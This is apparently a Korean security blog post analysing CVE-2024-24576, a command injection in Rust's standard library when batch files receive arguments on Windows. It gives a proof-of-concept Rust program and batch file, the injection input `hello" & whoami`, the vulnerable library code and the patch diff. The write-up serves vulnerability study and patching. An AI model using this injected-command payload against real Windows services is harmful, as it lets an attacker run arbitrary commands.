본문 바로가기

1-day 분석

[1-day 분석] CVE-2024-24576

1. 개요

 cve-2024-24576는 Rust에서 발생한 Command Injection 종류의 취약점입니다. Rust 표준 라이브러리가 Windows에서 Command를 사용하여 배치 파일(bat 및 cmd 확장자)을 호출할 때 인수를 올바르게 이스케이프하지 않아 발생하게 됩니다. 공격자가 호출된 프로세스에 전달된 인수를 제어할 수 있는 경우 이스케이프 처리를 우회하여 임의의 셸 명령을 실행할 수 있습니다. 

 

 취약점에 영향 받는 버전은 1.77.2 이전 버전입니다. 취약점 위험도는 CVSS 기준 10.0 / 10.0 입니다.

 

2. PoC 작성

2.1 환경 구축

Windows 환경에서 영향받는 취약점이기 때문에 윈도우에서 Rust를 설치 후 버전을 맞추시면 됩니다.

버전 설정 명령어는 다음과 같습니다.

rustup install 1.77.1
rustup default 1.77.1

 

2.2 PoC 코드

배치 파일(.bat)과 Rust 파일 2개를 생성합니다. 배치 파일의 내용은 다음과 같습니다.

@echo off
echo Argument received: %1

 위 배치 파일을 실행할 때 인자값을 넘겨주면 아래 결과처럼 인자값이 그대로 출력되는 것을 확인할 수 있습니다.

 

C:\test>test.bat hello
Argument received: hello

 

 

Rust 파일의 내용은 다음과 같습니다.

use std::io::{self, Write};
use std::process::Command;

fn main() {
 println!("enter payload here");
 let mut input = String::new();
    io::stdout().flush().expect("Failed to flush stdout");
    io::stdin().read_line(&mut input).expect("Failed to read from stdin");
 let output = Command::new("./test.bat")
                    .arg(input.trim())
                    .output()
                    .expect("Failed to execute command");
 println!("Output:\n{}", String::from_utf8_lossy(&output.stdout));
}

 Rust 코드는 간단합니다.

 프로그램을 실행 후 값을 입력받은 그대로 test.bat 파일의 인자값으로 넘겨준 후 test.bat 프로그램을 실행 시킵니다. 이후 그 결과를 출력해줍니다.

C:\test>poc.exe
enter payload here
helloRust
Output:
Argument received: helloRust

 

 취약점은 다음과 같이 프로그램을 실행 후 인자값을 입력하면 트리거될 수 있습니다.

C:\test>poc.exe
enter payload here
hello" & whoami
tring : hello" & whoami
Output:
Argument received: "hello\"
win-68jrspjekcc\*****

 입력을 hello" & whoami 로 넣어주면 Output 결과에서 whoami의 결과를 출력해주는 것을 확인할 수 있습니다.

(*****은 마스킹 처리)

 whoami 대신 calc.exe를 실행하면 계산기가 실행될 수 있습니다.

 

 

3. 취약점 분석 

Rust 라이브러리 1.77.1과 1.77.2의 diff 결과에 의하면 패치 파일은 library/std/src/sys/pal/windows/args 경로에 존재합니다.  

 

3.1 spawn

우선 make_bat_command_line의 Caller 함수를 찾으면 spawn 함수가 make_bat_command_line 함수를 호출하는 것을 확인할 수 있습니다.

pub fn spawn(
    &mut self,
 default: Stdio,
    needs_stdin: bool,
) -> io::Result<(Process, StdioPipes)> {
    // ------------ cut ------------
 let program = resolve_exe(&self.program,    env::var_os("PATH"), child_paths)?;
    // Case insensitive "ends_with" of UTF-16 encoded ".bat" or ".cmd"
 let is_batch_file = matches!(
        program.len().checked_sub(5).and_then( i  program.get(i..)),
 Some([46, 98 66, 97 65, 116 84, 0]   [46, 99 67, 109 77, 100 68, 0])
    );
 let (program, mut cmd_str) = if is_batch_file {
        (
            command_prompt()?,
            args::make_bat_command_line(&program, &self.args, self.force_quotes_enabled)?,
        )
    } else {
 let cmd_str = make_command_line(&self.program, &self.args, self.force_quotes_enabled)?;
        (program, cmd_str)
    };
    cmd_str.push(0); // add null terminator

    // ------------ cut ------------
 unsafe {
        cvt(c::CreateProcessW(
            program.as_ptr(),
            cmd_str.as_mut_ptr(),
            ptr::null_mut(),
            ptr::null_mut(),
            c::TRUE,
            flags,
            envp,
            dirp,
            si_ptr,
            &mut pi,
        ))
    }?;

    // ------------ cut ------------
}

 위 코드를 분석해보면 실행할 프로그램이 .bat 혹은 .cmd 확장자를 가지는 지 확인합니다.

 배치 파일인 경우 program 변수는 comman_prompt() 함수의 반환값(실제로는 cmd.exe의 절대 경로)을 가지며, 명령어 인자는 make_bat_command_line 함수에서 처리합니다.

 .cmd 파일의 경우는 program 변수는 특별한 처리를 하지 않고, 명령어 인자를 make_command_line에서 처리합니다. 

 

3.2 make_command_line

먼저 정상적인 호출은 어떻게 이루어지는지 알아봅시다.

fn make_command_line(argv0: &OsStr, args: &[Arg], force_quotes: bool) -> io::Result<Vec<u16>> {
    let mut cmd: Vec<u16> = Vec::new();

    cmd.push(b'"' as u16);
    cmd.extend(argv0.encode_wide());
    cmd.push(b'"' as u16);

    for arg in args {
        cmd.push(' ' as u16);
        args::append_arg(&mut cmd, arg, force_quotes)?;
    }
    Ok(cmd)
}

 여기에서는 프로그램 경로 자체에 ""를 입혀준 후 args::append_arg 함수를 호출합니다. 

 

3.3 append_arg

pub(crate) fn append_arg(cmd: &mut Vec<u16>, arg: &Arg, force_quotes: bool) -> io::Result<()> {
 let (arg, quote) = match arg {
        Arg::Regular(arg) => (arg, if force_quotes { Quote::Always } else { Quote::Auto }),
        Arg::Raw(arg) => (arg, Quote::Never),
    };

    // If an argument has 0 characters then we need to quote it to ensure
    // that it actually gets passed through on the command line or otherwise
    // it will be dropped entirely when parsed on the other end.
    ensure_no_nuls(arg)?;
 let arg_bytes = arg.as_encoded_bytes();
 let (quote, escape) = match quote {
        Quote::Always => (true, true),
        Quote::Auto => {
            (arg_bytes.iter().any( c  *c == b' '    *c == b'\t')    arg_bytes.is_empty(), true)
        }
        Quote::Never => (false, false),
    };
 if quote {
        cmd.push('"' as u16);
    }

 let mut backslashes: usize = 0;
 for x in arg.encode_wide() {
 if escape {
 if x == '\\' as u16 {
                backslashes += 1;
            } else {
 if x == '"' as u16 {
                    // Add n+1 backslashes to total 2n+1 before internal '"'.
                    cmd.extend((0..=backslashes).map( _  '\\' as u16));
                }
                backslashes = 0;
            }
        }
        cmd.push(x);
    }

 if quote {
        // Add n backslashes to total 2n before ending '"'.
        cmd.extend((0..backslashes).map( _  '\\' as u16));
        cmd.push('"' as u16);
    }
 Ok(())
}

 여기에서 파라미터 처리에는 몇 가지 모드가 있습니다:

  • 일반 파라미터: Command::arg 또는 Command::args를 사용하는 경우, Quote 모드에는 Always와 Auto 두 가지가 있습니다.
  • 원시 파라미터: CommandExt::raw_arg를 사용하는 경우, Quote 모드는 Never입니다.

 Rust의 경우, 일반 파라미터를 사용하면 Rust가 파라미터 문자를 자동으로 이스케이프 처리해줍니다. 반면 원시 파라미터를 사용하면 파라미터 문자의 이스케이프 처리는 개발자가 직접 책임져야 합니다. CVE-2024-24576 취약점은 일반 파라미터를 사용할 때 Rust가 파라미터 이스케이프 처리를 제대로 하지 않아 발생한 주입 취약점입니다. 따라서 여기는 일반 파라미터의 경우를 살펴보며, quote와 escape의 가능한 값은 다음과 같습니다

 

  • Quote::Always 모드:
    • quote = true
    • escape = true
  • Quote::Auto 모드:
    • 파라미터에 공백 또는 탭 \t가 포함되거나 파라미터가 비어 있으면, quote = true
    • escape = true

파라미터 처리 논리는 다음과 같습니다:

  • quote는 이해하기 쉬운 부분으로, 앞뒤에 따옴표를 추가하는 것입니다.
  • escape는 두 가지 경우를 처리합니다:
    • 앞에 \가 없는 따옴표 "는 \"로 변환합니다.
    • 앞에 \가 있는 따옴표 \"는 \\\"로 변환합니다.

앞서 제시된 PoC의 경우, 주어진 파라미터가 aaa" & whoami인 경우, quote = true가 설정되어 파라미터는 "aaa\" & whoami"로 변환됩니다. 즉, 따옴표로 감싸고 내부의 따옴표를 이스케이프 처리합니다.

 

3.4 make_bat_command_line

pub(crate) fn make_bat_command_line(
    script: &[u16],
    args: &[Arg],
    force_quotes: bool,
) -> io::Result<Vec<u16>> {
    // Set the start of the command line to `cmd.exe /c "`
    // It is necessary to surround the command in an extra pair of quotes,
    // hence the trailing quote here. It will be closed after all arguments
    // have been added.
    let mut cmd: Vec<u16> = "cmd.exe /d /c \"".encode_utf16().collect();

    // Push the script name surrounded by its quote pair.
    cmd.push(b'"' as u16);
    // Windows file names cannot contain a `"` character or end with `\\`.
    // If the script name does then return an error.
    if script.contains(&(b'"' as u16)) || script.last() == Some(&(b'\\' as u16)) {
        return Err(io::const_io_error!(
            io::ErrorKind::InvalidInput,
            "Windows file names may not contain `\"` or end with `\\`"
        ));
    }
    cmd.extend_from_slice(script.strip_suffix(&[0]).unwrap_or(script));
    cmd.push(b'"' as u16);

    // Append the arguments.
    // FIXME: This needs tests to ensure that the arguments are properly
    // reconstructed by the batch script by default.
    for arg in args {
        cmd.push(' ' as u16);
        // Make sure to always quote special command prompt characters, including:
        // * Characters `cmd /?` says require quotes.
        // * `%` for environment variables, as in `%TMP%`.
        // * `|<>` pipe/redirect characters.
        const SPECIAL: &[u8] = b"\t &()[]{}^=;!'+,`~%|<>";
        let force_quotes = match arg {
            Arg::Regular(arg) if !force_quotes => {
                arg.as_encoded_bytes().iter().any(|c| SPECIAL.contains(c))
            }
            _ => force_quotes,
        };
        append_arg(&mut cmd, arg, force_quotes)?;
    }

    // Close the quote we left opened earlier.
    cmd.push(b'"' as u16);

    Ok(cmd)
}

 핵심 로직은 다음과 같습니다:

  • 우선, .bat 또는 .cmd 파일 경로를 다음과 같은 형식으로 변환합니다 >> cmd.exe /d /c ""path" arg1 arg2".
  • 그 다음, 파라미터 처리 논리는 다음과 같습니다:
    • force_quotes=false이고 파라미터 arg에 \t &()[]{}^=;!'+,~%|<>중의 특수 문자가 포함되어 있으면,force_quotes를 true`로 설정합니다.
    • 그렇지 않으면 force_quotes는 그대로 유지합니다.

 따라서 최종 명령줄 파라미터는 cmd.exe /d /c ""c:\test\test.bat" "hello\" & whoami""가 되며, 이는 cmd.exe에서 직접적으로 whoami 명령을 실행하게 됩니다.

 

4. 패치 코드

Rust 1.77.2 버전에서는 make_bat_command_line 함수는 일반 파라미터(즉, Command::arg 또는 Command::args)를 사용할 경우, 더 이상 append_arg를 사용하지 않고 append_bat_arg를 사용하여 파라미터를 처리하며, 처리 로직이 변경되었습니다.

 

  • append_arg 처리 로직: "를 \"로 변환
  • append_bat_arg 처리 로직: "를 ""로 변환

 

diff --git a/library/std/src/sys/pal/windows/args.rs b/library/std/src/sys/pal/windows/args.rs
index fbbdbc21265..48bcb89e669 100644
--- a/library/std/src/sys/pal/windows/args.rs
+++ b/library/std/src/sys/pal/windows/args.rs
@@ -7,7 +7,7 @@
 mod tests;
 
 use super::os::current_exe;
-use crate::ffi::OsString;
+use crate::ffi::{OsStr, OsString};
 use crate::fmt;
 use crate::io;
 use crate::num::NonZeroU16;
@@ -17,6 +17,7 @@
 use crate::sys::process::ensure_no_nuls;
 use crate::sys::{c, to_u16s};
 use crate::sys_common::wstr::WStrUnits;
+use crate::sys_common::AsInner;
 use crate::vec;
 
 use crate::iter;
@@ -262,16 +263,92 @@ pub(crate) fn append_arg(cmd: &mut Vec<u16>, arg: &Arg, force_quotes: bool) -> i
     Ok(())
 }
 
+fn append_bat_arg(cmd: &mut Vec<u16>, arg: &OsStr, mut quote: bool) -> io::Result<()> {
+    ensure_no_nuls(arg)?;
+    // If an argument has 0 characters then we need to quote it to ensure
+    // that it actually gets passed through on the command line or otherwise
+    // it will be dropped entirely when parsed on the other end.
+    //
+    // We also need to quote the argument if it ends with `\` to guard against
+    // bat usage such as `"%~2"` (i.e. force quote arguments) otherwise a
+    // trailing slash will escape the closing quote.
+    if arg.is_empty()    arg.as_encoded_bytes().last() == Some(&b'\\') {
+        quote = true;
+    }
+    for cp in arg.as_inner().inner.code_points() {
+        if let Some(cp) = cp.to_char() {
+            // Rather than trying to find every ascii symbol that must be quoted,
+            // we assume that all ascii symbols must be quoted unless they're known to be good.
+            // We also quote Unicode control blocks for good measure.
+            // Note an unquoted `\` is fine so long as the argument isn't otherwise quoted.
+            static UNQUOTED: &str = r"#$*+-./:?@\_";
+            let ascii_needs_quotes =
+                cp.is_ascii() && !(cp.is_ascii_alphanumeric()    UNQUOTED.contains(cp));
+            if ascii_needs_quotes    cp.is_control() {
+                quote = true;
+            }
+        }
+    }
+
+    if quote {
+        cmd.push('"' as u16);
+    }
+    // Loop through the string, escaping `\` only if followed by `"`.
+    // And escaping `"` by doubling them.
+    let mut backslashes: usize = 0;
+    for x in arg.encode_wide() {
+        if x == '\\' as u16 {
+            backslashes += 1;
+        } else {
+            if x == '"' as u16 {
+                // Add n backslashes to total 2n before internal `"`.
+                cmd.extend((0..backslashes).map( _  '\\' as u16));
+                // Appending an additional double-quote acts as an escape.
+                cmd.push(b'"' as u16)
+            } else if x == '%' as u16    x == '\r' as u16 {
+                // yt-dlp hack: replaces `%` with `%%cd:~,%` to stop %VAR% being expanded as an environment variable.
+                //
+                // # Explanation
+                //
+                // cmd supports extracting a substring from a variable using the following syntax:
+                //     %variable:~start_index,end_index%
+                //
+                // In the above command `cd` is used as the variable and the start_index and end_index are left blank.
+                // `cd` is a built-in variable that dynamically expands to the current directory so it's always available.
+                // Explicitly omitting both the start and end index creates a zero-length substring.
+                //
+                // Therefore it all resolves to nothing. However, by doing this no-op we distract cmd.exe
+                // from potentially expanding %variables% in the argument.
+                cmd.extend_from_slice(&[
+                    '%' as u16, '%' as u16, 'c' as u16, 'd' as u16, ':' as u16, '~' as u16,
+                    ',' as u16,
+                ]);
+            }
+            backslashes = 0;
+        }
+        cmd.push(x);
+    }
+    if quote {
+        // Add n backslashes to total 2n before ending `"`.
+        cmd.extend((0..backslashes).map( _  '\\' as u16));
+        cmd.push('"' as u16);
+    }
+    Ok(())
+}
+
 pub(crate) fn make_bat_command_line(
     script: &[u16],
     args: &[Arg],
     force_quotes: bool,
 ) -> io::Result<Vec<u16>> {
+    const INVALID_ARGUMENT_ERROR: io::Error =
+        io::const_io_error!(io::ErrorKind::InvalidInput, r#"batch file arguments are invalid"#);
     // Set the start of the command line to `cmd.exe /c "`
     // It is necessary to surround the command in an extra pair of quotes,
     // hence the trailing quote here. It will be closed after all arguments
     // have been added.
-    let mut cmd: Vec<u16> = "cmd.exe /d /c \"".encode_utf16().collect();
+    // Using /e:ON enables "command extensions" which is essential for the `%` hack to work.
+    let mut cmd: Vec<u16> = "cmd.exe /e:ON /v:OFF /d /c \"".encode_utf16().collect();
 
     // Push the script name surrounded by its quote pair.
     cmd.push(b'"' as u16);
@@ -291,18 +368,22 @@ pub(crate) fn make_bat_command_line(
     // reconstructed by the batch script by default.
     for arg in args {
         cmd.push(' ' as u16);
-        // Make sure to always quote special command prompt characters, including:
-        // * Characters `cmd /?` says require quotes.
-        // * `%` for environment variables, as in `%TMP%`.
-        // * ` <>` pipe/redirect characters.
-        const SPECIAL: &[u8] = b"\t &()[]{}^=;!'+,`~% <>";
-        let force_quotes = match arg {
-            Arg::Regular(arg) if !force_quotes => {
-                arg.as_encoded_bytes().iter().any( c  SPECIAL.contains(c))
+        match arg {
+            Arg::Regular(arg_os) => {
+                let arg_bytes = arg_os.as_encoded_bytes();
+                // Disallow \r and \n as they may truncate the arguments.
+                const DISALLOWED: &[u8] = b"\r\n";
+                if arg_bytes.iter().any( c  DISALLOWED.contains(c)) {
+                    return Err(INVALID_ARGUMENT_ERROR);
+                }
+                append_bat_arg(&mut cmd, arg_os, force_quotes)?;
+            }
+            _ => {
+                // Raw arguments are passed on as-is.
+                // It's the user's responsibility to properly handle arguments in this case.
+                append_arg(&mut cmd, arg, force_quotes)?;
             }
-            _ => force_quotes,
         };
-        append_arg(&mut cmd, arg, force_quotes)?;
     }
 
     // Close the quote we left opened earlier.

 

 

 

참고

https://nvd.nist.gov/vuln/detail/CVE-2024-24576

 

NVD - CVE-2024-24576

CVE-2024-24576 Detail Awaiting Analysis This vulnerability is currently awaiting analysis. Description Rust is a programming language. The Rust Security Response WG was notified that the Rust standard library prior to version 1.77.2 did not properly escape

nvd.nist.gov

https://github.com/frostb1ten/CVE-2024-24576-PoC

 

GitHub - frostb1ten/CVE-2024-24576-PoC: Example of CVE-2024-24576 use case.

Example of CVE-2024-24576 use case. Contribute to frostb1ten/CVE-2024-24576-PoC development by creating an account on GitHub.

github.com

https://github.com/rust-lang/rust/compare/1.77.1...1.77.2#diff-0f014cb9862d1103d90286b9b9227c5247e14585f796da7c1c189b008dbb6a1a

 

GitHub - rust-lang/rust: Empowering everyone to build reliable and efficient software.

Empowering everyone to build reliable and efficient software. - rust-lang/rust

github.com

https://github.com/rust-lang/rust/blob/1.77.1/library/std/src/sys/pal/windows/process.rs

 

rust/library/std/src/sys/pal/windows/process.rs at 1.77.1 · rust-lang/rust

Empowering everyone to build reliable and efficient software. - rust-lang/rust

github.com

https://github.com/rust-lang/rust/blob/1.77.1/library/std/src/sys/pal/windows/args.rs

 

rust/library/std/src/sys/pal/windows/args.rs at 1.77.1 · rust-lang/rust

Empowering everyone to build reliable and efficient software. - rust-lang/rust

github.com